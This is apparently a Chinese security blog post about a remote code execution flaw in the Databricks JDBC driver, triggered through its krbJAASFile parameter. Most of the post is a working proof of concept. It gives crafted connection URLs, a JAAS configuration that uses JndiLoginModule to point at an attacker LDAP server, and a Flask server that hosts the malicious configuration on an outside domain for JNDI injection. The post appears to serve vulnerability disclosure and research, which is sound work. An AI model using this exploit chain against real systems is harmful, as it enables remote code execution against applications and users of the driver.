通过 JAAS 进行 Databricks JDBC 攻击

科技   2024-12-17 13:29   广东  

背景故事

昨天,收到了有关 Databricks JDBC 驱动程序的威胁情报警报。经过快速检查,我找到了问题的根本原因。

该漏洞源于对 krbJAASFile 参数的不当处理。攻击者可以利用此漏洞在驱动程序上下文中实现远程代码执行 (RCE),方法是诱骗受害者使用包含 krbJAASFile 属性的特制连接 URL。需要注意的是,受影响的产品版本为 2.6.38 及更早版本。

构建 PoC

创建概念验证 (PoC) 对于有效重现漏洞至关重要。它通常可以在测试过程中节省大量时间。在研究 JDBC 程序集几年后,我明白开发一个清晰可靠的 PoC 是多么重要。

以下是存在漏洞的连接 URL:

jdbc:databricks://127.0.0.1:443;AuthMech=1;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=/tmp/jaas.conf";

JAAS配置文件如下:

Client {
com.sun.security.auth.module.JndiLoginModule required
    user.provider.url="ldap://127.0.0.1:1389/wr4euw"
    group.provider.url="test"
    useFirstPass=true
    serviceName="test"
    debug=true;
};

显然,这不是我们想要的结果。由于我们无法入侵服务器并修改其配置或 JAAS 文件,因此我开发了一个 Web 服务器来提供配置文件的内容 — 本质上是一个恶意的 JNDI 远程代码库。

我使用 Flask 安排了 Web 服务器代码,如下所示:

from flask import Flask, request

app = Flask(__name__)

@app.route('/jaas.conf', methods=['POST','GET'])
def SSOJSON():
    if request.method == 'GET':
        # Path to your jaas.conf file
        jaas_conf_path = '/root/ssl/jaas.conf'
        try:
            # Read the contents of the jaas.conf file
            with open(jaas_conf_path, 'r') as file:
                jaas_content = file.read()

            return jaas_content
        except Exception as e:
            # Handle exceptions (file not found, etc.)
            return false;

if __name__ == '__main__':
     app.run('0.0.0.0', debug=True, port=443, ssl_context=('/root/ssl/jdbc.pyn3rd.com.pem', '/root/ssl/jdbc.pyn3rd.com.key'))

我的方法是可行的:远程 Web 服务器接收请求,无缝加载恶意配置文件。然后通过 JNDI 注入触发远程代码执行。

以下是用于利用此漏洞的精心设计的连接 URL:


jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=https://jdbc.pyn3rd.com:443/jaas.conf



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章